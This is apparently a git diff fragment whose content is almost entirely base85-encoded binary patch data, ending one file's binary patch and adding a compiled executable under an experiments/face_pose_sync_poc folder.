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 Je}#=J{tsta7wG^1 literal 0 HcmV?d00001 diff --git a/experiments/face_pose_sync_poc/experiment b/experiments/face_pose_sync_poc/experiment new file mode 100755 index 0000000000000000000000000000000000000000..e84821a9b37ba31f069894d1717462751f54a2f3 GIT binary patch literal 166552 zcmdqK4SW>Ux%fY`lULC4ZqNWpq)L!lRJ5oRvzrYBN-ZKPD%yw{LE!VP}XxR`IEhu}6+x))InKR2~v!S-tdq4kw zKA*{%IrE(7Ja6Zj^ZM+bzrOjmGc3!t_zQ4-l51BV%X-Kv=FYOt<{HOURdr3Ma?H(R zuAL~k9shLUj#-_a1kZox2%hW4+<0Bb*SdT#4U2is22`$orbt!Qoay(^IaNL#-(7t@ zX6}l6F!C&XCI7Ol`N?~3s;X+|+;@9zGAkY5-ZN}1ocUQEh&-p_%QN_pq5i9?s=56O z)u)iAY96NPcfX1&+6;pJCbWK@N7s;qD;Mk-?=mIoO4;# zoCm%*efIP_)A1cC^zcnI^!d-JI8yJE_^PLUan60Sr>Eol^dJvkPg6*qQ{|V6OYWG2u)O}}@} z><2pA^L&FZ&)}2ibeha7oxrc?cZR2yIi2Wx*x6K{q7p#(RY`@C(j=UpI9GmCY`>EN`&jlaB8;gU@fj@_c%H+W$#=yLZ|>o!i?N z4Zg>Wy~uOwUpnrps{8JpJM-Q33D#Ia^56 zf9d?*ILyPBXYk3hlY*eTW%;Vtx$<4R9N4O=iqLhTs_?|mO}pLg#rP9Tx)w+$#|1*BYf9yox-U^St{sx~sr{YT%G&jbN z&b(*ZjOn6^bbe#wjNA;oJfBVvBDaT=a!aXgewy5P)_*}S@nzTFig7of05BJ>l!Zk3y`lb?z6c6rOwU#@2>oS_16rqK1N`1Gz{Jy&@A%16I()9%2nL$=*>3Hilb9#7}c={!f@d%8H5bph{E4W$(R zgdgc&rv6F2mvhNG;n}i2i;3B%Xn~%|57f??e$OY%KM7qkZ`VMYUU4j^%1LR;dBDRz zJM;G0(`G*~e5|;xxizzA)eaBcFt+BtdokCUHTQl}yEMrke#7+HwdC-=1B6#ir+Tuo zSM{;1@0_llaLw%Lf3K#FFw`Y-Nae@Q{vkco;NPpKa`v<@-ZitjHZwm`iw}{)&u!eF zl3OlPJFVOV%Xsl)U00%C>l%cQRQ%a_akBm{{;Q|oF>_ki`1R|I_^qrz1+2i|#ec)h zJEqrkjbFdch~LxqC+ySM)#-H|9)9XQHHds}SiFM1>ClE!nxmATA56g$xZ~=M z^{3&fuAYAP^x4zqOgH3+TvE&PsQ9?aOgZUGgF2L-*Y=v&KgvshpOMtH)Q2Pg0OxKH2^<>r>?5wY@It zFTNuO0=lffVrK0Zr_HIptIPVO>}kr6pEzOWoMhpQ^1JVJdc1o2oN0HTwtVhpK1p5D zKk@c2Os}3Z^WUb24U%;Ed9x{9mY;OrwApjMoMMeqUcS$y`g>+)-*dY9ufKQZoi(%X zxsJik_&XS&%w*U&yEcWPbb12!&j)jt^xSxj&j?WRC*?cXwU^yh`>rZC!^}JHu9=pq z7-^sX2%d1wz18>4o<05E>IYJ|@#wkSqsx5nucT|*B|kO3EYjs*Sp{I}vRv)Vd+z8^ z@A*JWewsC3XZLg;&a+gWwcy$a?`&)S%erhdqyiBds9aMwJ z&&#vk85XdvL+X7SozKVD$~$247Fh03c#1gr>%LB2Iq-#o2NM?&0(1Upv&c+G0hPdNex&z35_m8ofs;FZAZ;2UTk!dN?zvVg;7^ z?We8BqXj`F?^;COg+Z0K-Etp?p2x2WA@{!PvJ9{JXY(!^ykc$rpm?KGba|swb$MR4 z^`!>O&`|&Rc&v}5Xf%C=M!6S0V|}O#TJ?Pq_uVZe{FZ*p)~WEC2k%243aQo}(3TAh zI>$bipef3tq%NBgr66>}iH&IvN(Hyqj8?G`m?~pbZSo4=;QQ z-bCHjwF$>^MV@(SKIXsSH&M5}ahp@+)$fRIowe^_+X?7uaEju>gU}%MBr=dRucW6d ze7{GV{uFdP(hWM1ZJx2UR`4Eyu2y6rx)wc&Od6c3cpLa8Ad}BP^RKbDZs7aOm(F*8 zjlB)cf3PWlOcQlsV|TV2{3m6z4;oTslP;G`{;vTaB=*%z8-L-GS!(+QS!&z)SxWoF zCj)BN3um~}?hid_t3yxOYFBe#SK8*GrvmEGDy|=M{etUP!1m5^i_q7h-}3x2S2Ne2 zxsGtX#q}4i_qhJb^*647qYmY8b#oM5{F-gwnLm2llk-RG`=_{HW$vHhe%<`hhwcRS z3tabdea)2lDewN1ci$lIQIq!z@?IeC8T0%ro`22ruYmb2*UMaAr~YqnJ<9cMuE)5( z6HwdE&35y0yzfyn`sTZHE$y}Gd}NDGo5YW7YtDAhO?_UK;|}6k+PC=Y8TiN;y5Dt4 zmdcx7g+1l1d+Af$<8NYOGo!K7H^1`OEut^%WZRXzGkH@4FYWsXKDHI#8pHps!tb|< zE#dojUxj|q#ddV@5<2+(ljWWtSTfv=I)Qbm{%i7R-+yIc<2~2DH&6Ummb>e!3jFsu z@m*Jv){}lpp3jc&xW|IAw|F7?dtb~>OoT; z`8DZ!im!B~53#boe_ZMrAoXDPUnPwo?`@>JR)zF;XWKI&6`?)+Lf%2cpNoM-7ZG%k zN8XXa+DEO641p%;XABFfZUZcp-xJ;Twbb~JQ*M-{zJCGfaQyd3OZ|ZR=8-|AznPNP1hoOFbx=14swf@+1NzHfAZFFvmud2T(zLI?D zuQb%(92cK!*=4_%`%S=zEowU~&%%H9bGOl6wchyFST=o-`T_B6W3#-x=e@F`!(G_a zwsL$SzF}84?4Z1#yK4}P2dP z)`mtM_a(lcmVK7%AdhCpL1$x4|H5{sj6!E3k7@nf-%|H4+S?0?@iRZ7ey`slI?7)A z9{wspzv(!%h>fK7>+!u2?e}^6Qy){d{E4=u2gq*CaD^!#`>Axmz zs%LJBt&B1K6x)3R`oy=1|IeeG^fP`!*$A@Pn}P#-TOz&FQ+9a@$3bxTeYf`ySZh=J zd-)&#`n5~YZ%_J2R-o+n?YY5y?e$svev0o-+TjaghlTN%K3}2MIs@YQ$Z;(`;V#G1 z>sow)v}O5LTpBHQO9y6oHWSJ6Y-U?8_vb^UZJr&UcA@yBsd2HH2K-WVmJG#x-QKYBaAoV%@ zaZ@n|+XKTY#el{*7-_?HcaTlWB?s;lluPk>$w%s&7-)>qT9`v)K zV&|2Z(|uj{uLhU4?ax)?rk&+Z_)S20`T6Ve$!|SK{(`gI@%!*y=KIUHRebhd|NFbr z=^fvPtRqKrRb#;W_KpKq#@6^;Eu+2*`1ZEsD(hKW!MVCk`|T^-hk+M3{S6-8Q-6c6 zr%ZHDuKFqI@s>&z*;A?F+{gA;VkcAM#VgUxD*^fb?k)Lrh`w%~e1G?rf0prIpFFk7 zl#4p!RBZS)O}ehWSGw}uy-IK&$W<$R+y^RERB#_8?JhJhU=i2zA@bQ^kjTkMh*47;^VSBz1>2d@G5e?bUQjL%2UNnwkmnv z=qz}p+p2YzzfR<2uSSiacKps8I$kDbI#0-I=!7 zfQRq*g0C=7jRY=II8J?;RLip|q}JB=j9br#n7im1pDXXFZw2yP>0A?UsJ|w@owDnk zN!~ZVeiDAhUMGB}$}xZ(8=SuJTajHueQ)MK`oyPmzp8$+o=<3SuA?1OuKwEi_nkiR z3#q5UnH;}SQebY-&)3DT)6dt%zh%BF4bJuQJ>8pU`Z4nS6z>}9`{7^Cia%F>R{Y(a zrp?!1ACK+M_2w6Lqx+q?D)yqS$Kuj{TX$Bf*4kVZoPJ8)(nVRdh)k*ka`VWzb=Go90nOLdr0Z#g9avz(FZA~#S zrf<+Xnfxi(>{QxFRb{fDsrenveACDI9*=wU+Ss_p*?Ik$D=E=)2zzCoDmu^LqOUIV zX3Yz8rH{O~`gl-{rCzbK$SmkCDR7Hl59m3H$nsouuaRq{y3(WHr*{^tF2VcHOMMd;I=Xz8Q&UE(&i)N3*3J0#hxO|D^<~(#)o_YA2K&rH5huL zbKzIy0Zi#T0rh02{C5NDaq z`94qD(Am5{GSA?sm%8bjgEQ4`uS2GhWwiexq>IqeQrbWF%}Y)DUuN3>BGSdQf2ngZ z?O#%08YKnh8PXVhH8?luabfF8GcdnoP2Gv%TVwvlV()xA<3$37Y_w;q2Z4BchWKdMr-j)e9e@X!ak3ZSbHx{9D{ zFm!#>`jmWU#f~C1m1-BV%v3gVGADESN6ma2_ad%07^CU@tkpKBS@ z4t9@KE^jZz9(>kZaorWIP-h4@1U7sK0%zI=UxEy|q6_y?Fqc9n4W}hjP@B zmK@c37@fD}sOVAXo?(p?xl0-5Z=a2A<=xyB=Zt&G*7>6QW}lxOW3kJzs+2Z3cv`Mo z_NJxE-r;(eOW~*Jmy||xulNyTYV8Ns!(-I&_*Hnc2e{S(!{cp+$J=_j=L(M-pvC8L z!&nvFl%uA=XDj^0;Hh;pbZyB|5!=v9o~Cz=M{nbDkKWjtvAT~@ijUB3&y*7$wLjT8 z7F=W1ku6+{k;T#+#z5VeTb%#$BlymtjB(CoY;Znxi!R6A6jBpz4XL(eIVw0Ul!z?P zNra|{644boiSeQC?zow@nsAS;f?u)|q5JHF%(Wlkdz)|F`P9%efBhsjw?4MoqjA?# zL*p{+V#U~m;BQ?$R+ZSdKNVdFzLEiM=piRFjztEC>*0tlADhrJUN|<`}Ns}wq31MXq#{-uJY&&7++X?GTJ5jVC?}`_pN8}XUG}ikb z)8=B8IqHIvfo>am8uqlqIBlR?y4F$mjg&b$+M)QD3E1Jply*p-ZiivdKF7^7HXb(Z zkngl^ho+pg!^m>ac3UUV1}Acjq#cgRQ8xB!KkIaDD`lR}w}08=U+9lu|FJU9Uc|mj zRt|KFpK}tW(?}N#6dT`Ij*ZhV+E|T!KMF6}HdkPqKg2eN=OlE!&!48=5ynR6rqoNj zh>b|8*B;~+Z>Qev)En(w@7;dA@NPFz?~oj9ql-2%%(jZu*JpX}BD_njZ;Z*;ZK8*1 z6Vx50?q+1rf(%}xjBXPvX%qcu6KB&V2GS-K-#w*Gkf+;3d$#_TK76NX6YXQXZxj7i-6l*qX%pI(*F!gU6&0J# zrCoIAItGpt*{XEfAh+Z<*w+H=Y@d_(81@vQ&9+iT^GrMLyK<15|BCc;`nrptFG3$6 zaxz0dC%slUB@OXl}-!{?cC!U5_C1>8$1`!Hn%r!_v9h#bsLSXYxC z%1-1n&S`DQR{7VH9wxnsw2kyu(xchb8@>X*zhve4>(KNa4vk4j8;u?ulQ?p8jB0Be zquw|?M!nfGM&+-}aqU;EMBoor;>=f>n~Ykj`|GTswOUHrvNf&Pwa&~+m6gqGJfBd>;D?g{4qwY+6avS$qawgR`G z;Mk9Rk@YjoMQYh0$43}DMk>du)$(3+#eGs&+tJk@&{e3fTkMzL;^|7;!hta=x`k_n z=*4j_1@2tnH13(`V>P_oL%IgNdb0r(b?ynqC&7msz5h zEca62eh!@0%OmKc2422JT8my>$NWVu~FM1i%SueFlFE!|;9=*&% zFLmf;E_x|JFHfVFwdm!C=;c}T@*H|;GI}XNFR!B)J4G*3QuH!4MK4v^>X*SYFc+0HzR z;FyJ8kZV#e$nkj@2cV1J$$Q$$%aY>X_L9DJ0vU`NtKL}3xbD~(`V8o8F?|-sBZBL# zJ&beqGtN1{MgJw!cqej{K8B2S7$dgs!ME-Q*8y-I9IM_uG*-RU!kFpsSoL-rIFE9T z$X0KU%vMK7Wi!^wR&R#0)f<)Bs%=6x{g!OiIyqa7XFXZ>_vz~or9UfU%yB)u^%)rt z$y#Zio`cI<7d@fZLpJ(zyV0U-b+hnTh%Kbe?M@eX>G*f&0kLu`-U{n8&!uX56$# z;Myy|=Y8vBuBUiA^*-RJKBla}z1K4Hy)sX;LCST{Ry_r0_c3ZRskEv52g+4z0k-wk za`x3^t83&vyxo5`@O|L1V2pZ_vU-lFaEv#dEUXKL$X!2)HP&`x=2!BJ}D_MpCI+^NPp*#W_jQFkDKrO z(F!GU5t)}V4^}MYb{ILC`35upurbd(zdd=3Iyw1*@oyQ|31*9LtjPSL0J zXXuE@JNga&T+zRQN6*RB(%0!jyD4Cvp^*88BIX?ibM3HHn-fq+Ds9!e%vP~>TS@!Y z{_q`i*27UP=qJ)6teWU+NPc8>AQ3&Bm53Y&sOYhP$`9qc)=>Il7t$BIm^F;c*pK%v zW!F3EcT#qJSgrHRmN|)N3uS8^6xh}bDJT1 z2q;%WI?Gar1)tdEEY=ch*=sP@Qr{Auc)y6WwU+$3%sbaH7rcjgE@SgYHf43N`vGG2 zi!3!));Z>ZXQ8F$ao@bq>{(c3_AJaJt+!OA)KMQ)vn2)Qi;@C!ucYuKb$x<+&Ff;r z-?mY1tDbxH)*7}z`;ko*d|RP^F?0%FluK=otex|Hw$vn{YbkUsx71BS*K$MG3PaaY z(q)z^k@}Yf)n_FI<};E4Gfq-NR}S|=m&jh%y_#?BdQa}(5jn33s%5FPtGOT9>Xd^h^v8dSN$ z_l}_P^Znh@e%jA3(SClZ_VY{h8s4%j^{go;bz;XG#Scf8XUTr3m!rG0w2e-XI(D+R zg*37=sE(3qf4rTwxBc`tUS#cUkEPy__t4O{Kk$2?Wq(k8ioB%m4`i0_T#@f#OT8>} z?+1}@i>3a^eRGSE?_nd~gQSNnwMyza6jZ;F6qwzT0`rojM!pNV*Yb62HO`lBo29-+ zeh2xs1=V#S#qvgBNve+X+`#eMN9JSOvq{mOd)6t;XAUK?I)&}^tEt55M zzNg!f^VyEN)rVWocT;R{cZHVWUoQdAF-uM5edJhBJw>Wz_!2T~M~1&ah9@nxT;5a9 zjsoCMQeS&ey-wMr3?23^WoSR=iwyhNYJtcw*Je%7R*#4bdoUi7cGoB5ea~`9yW47# z)YCnrz9K0wUzQY@`z3{DX`iCI$Y5LDEjSCnS!Am@g0slr9BgnFkQUnN(*j=@QZpn4 zX1XpPQq__gy_9e-a)}Hva{laSw>4#5a$_p5Lo)N)b`JPP+G?!OH4M5&*y?ja*9b$` zNJG~!(&4r`OX?pUQXxr!DU%eK(UKavPExP-ue7(=TwC3RFPF8WXkC_iN8UlR==stG z*vc$h74PF4@rvQ$o1@*A3=h$Rw$}I8C=(sUUP{vAv(W9RkkY(Y($`A0n<#cO&{2B~ zoY<_?rQ71J(Qc&0!}kTjS7xi-KEAS$IurUk*`a;5TUz3%Ee0-$YcIIkuy4&*{<`Q< z5ASt?H*Blte7xb1I>CLi-2YJS1bYzuawolVV}XfGM)p%|nMYs?iXInlEGh2gUW_jE zo+6R$)GYOVVB6rkl{RyPyk_{<-~Nfnk9pb11o>W{?RFdLD0|x3ZvKUgxk}D9d;igC zZa}S&`X+=Dk%`D}s#o4VFYL`__n$VXw7WM48|@KDSb5V1(T`b@cOmw(kUf{|+0)Ng z@Z6o}V%l3zD{&Kc6rCddUE0TF)>nmZxhF3+72c|B^%L@rOy#+Xb#e3`ASpw-PG9XJMtbI`o&qm*N|7sMcJfJmRLtNxTbz6D+uh1AW0V;QrhSO~o)$cdZI$D{UmQ~71W&qeUJ0Jd9Q7XXy1q8>97Sf(EO?d*o~5=r z?!R9eQlA1(euVhVL`B*u2J8ZMX?Sa)eR^jQ{Gus>yLy!?uAqFmN&`rkfCY&#!& z_HDRP#y)F|4X+NVDd5t&AuqPxR?!W%a^U62dY(6kjaFcr-Zx9za;S$J*@P{(V#{yZ zY9r;fj5dYTw;2zm+w3^rM>lgmLulR{Qg4uIn~lQz4s7;y^tshmt@0k-_7a=jO5To; z8bMytW_LnQ2AiD&Kam5r+9UJ9yP%?=N!;5*ptyT)cOy-N23x(SX$wwgtHd^lr@Lm~A; z!O@P+Qf;>69Jh3gqo(?BX*L_b2t0>vb(8=8a7Zl|Jn1$Y0?&9yjrZZwZ1&HB=a{W3 z{rAU0O6)V;X8#Acq|FutPT6cB`!#@XgZ_**+lP4t@y*@wrwh(;yG_DoS7Ni*W3$uF zaYspA-OCw6l_w&7*ejZDvsZU*vnQp0SXl1)-GXwp4jQ%1k{2st95^_jZUFz0BAy2W zmu|D$vDqO3b%DZW6WBMfS|>y3lhH3vx7p<)t6>54K51lFxhex*+w42=K9apK?_!@L z0_xMk6S}>lAMhj4@yK%Z4ay{Kb`{DkK41zZ1?Fr?P2cN)z)TIOGX>{Fa83!Reu8s~!8z67oJcx3pk5XD z$>l0fZ~&7dDKJ@*ns)Glz*On^qK(%4tK3GjKPHcFyZFILyif94m6_LX3a>Q*b(sBN zk!t9g6;MaHZ=Pl7sxfp`lg5lMmhlca{O|KMJ97O6F~1xukUgwM1yBD_2`21*S<- zU^LB!w)@D__Owvu5j1^!t)QiSLN@P`G%dTKFY*$&0nX zUf0iatdFA>^Dfqhcd7l3?erIJa@1%a$8xV7`122clsXC=HA?Ungw@wb^*7K) z4ud&AmyLfba#WqX#|NzL1AGy_U~pKyNZF*H8v+d(zJWQ&EHctj)7aA%8OD6<2uIE2 zzIjC0`v#5-d*8req{AI`vD7m>tZtDMn42X9=0-`4pF4|t?Sn-22dH<4qdrDnC*Kz8 z&jayVO1t|v>-p@-^2$#23*o!!p^CFQl+Dg z^Da^r*8TEKK5eJ;aVxO{p)(v-{|3C)7kRM>$YP?S&ZW*H6L_AO!Cn?%FO#vCi?Nr> z0%{NCHLa7w>W6YB&Dgl#7H051I>k}De7GrL)lGPEXtOCi-OBqUPg7HPs&dp;-X(ol zOJ^VUnDA6(c$ykkA%PeE$ct6O(+o$wN#2oao@Zp>X*)d4f~PCsX*7F#fz>?C3ak4w z@N^09qcx6N>ciE9)hpabhQX8JU-VQ;UXrJ|DLmD&|Ce{M+HjZc`c~no&hRuhtj-X4 z;fcK1Jb0>i)X&H}GLPr_3_RJr-N-_C3c=HufSL}h=4oMAg){J!;H*q^k)uBE!z~J{ z2JRyhI`VW3xFkg_%BA?dPVfC>LJna&m);MaY54R?)W^pg;GUBUV_Uq?4w!u+%@GiE2 zcd5QAim$rWQN4W}X})TM)UnA?Jq7Qku$oM&ebrEW)mD7fh4`v1j=DzPZ^oW_1HXl~ zy)~?!q-@ex?SO_1zUmx@tQw(9$;PxC(7?x^qiaP47r zi2HP3bqRS%p88~+^1lUH>T%xb@nw&SM7sZ#{?-iPsepMH;iFH5I!oZ?p1fFL7W39w z>IL$S6!KgITus^>h~3AH4CdVAGIXhgjv(I;c7bldx$ z@Km3r{zj_xSzn=olo3BAYr$*$`niuS&Qe$KF18q1FQx8fW?jc-zrr*}9rkgg`Kkw{ zj@4P}b<)V{3RMaY?W-o?t2ShD?iF9PK1-cPeq;^y)C>6a)W4xZ)leqst2RSJ24A%i znMHPHsqT6W5*h8tQhm5@-T}{I<2x(7e$^Jzty$`z(6O~bdE z6PQC;>OGks-Ve@$$cX#qg9hgzgL6OWfh_eafj>~8-jNiTqq=;BdQ(#AJ1_<+F1~Hh z^c-)mUqr@4v{l(B{i2COBWvTb|K%<@`~7N2>39N@EhRdNOw{Yfthr^oje6Ygol}(W z{U>;@*KQ}8wZq9l^#yRG@8`Hvz5enwg?`;rY`dat+7m*jmAzD8MUhTt3N^OdDzO{AVhdXF=$ny-!cULS4KSyw$vzr zEAr`eI??-UpWY%v@8HbzW(mC`ELA1+4uRg`$U^8HZs;9h=p8~j%u>Up-eEy?v!uY> zC@C;EkjlOqX-n25<`AyNSLSj?J4D)@bTnxJ=@q1fq?eKQAibEhkHww~)_B-ocG#S; zvDgFnnt#8bz>Uf{rKXZ~KJ2k6$eF#e-$!Ous>`K*_P3!9!C#d!APu|hWZ=g1Hj9i-pg|K@r8HfJbdx*{x>c^?##RBKQ;E2#6@`JGZpGx z>}wbC5gK*83NO}(mK!#86uu;W1ajW%>tm~&(`i=&i7TMb zi#2lIU-H)yi=c0`*ex2EC9z=kT9GUxhhFY8$f1GQG!t~&yv4*7AdUcW1r8t^!O?&Z z@Zt&-#;<`^9jhQ2SHO=c&_A9YQ$W{6OaU!(VhSvhx`+uN=ew@s8!EV0ahCrX;uuIw z0on8NF5h5@El@0U5?g?8fsQLMomAoqY(Z|%5hvkPTmg9ez;Olo6IY;rT3i7yPkh~T z#7|fUP3xT-i7RlUi7Rl{M-o>++nD(dujKso7G#|%uE39t4$|Wa1ZgAIw#;z_$|xgo z1>_9h@fOZL?%_Nr_g-9qTas}FrXf?kCyBTMw{!2u75Jtp=f@S$b(y#V`h4kuT=j^L z`#`1IEx6@eVlu7(b(pvU4;VN(2e0uI`|*ML>9_)Yc`tDV?jx1B0y?gZ*zL2-ceb61 zEAX7WhnH7B2K-@oYO7T3#Hi5U@T2U9#BNq{ex1IFi7U{%!+H3t7^6yDfhS}=;8?DX zE3lILuHp*Jl=@Cos>dZgS*aeAw7pU-kyOVOm>mBc_g-9q-pRNEW6AU43f!XO3jBn# 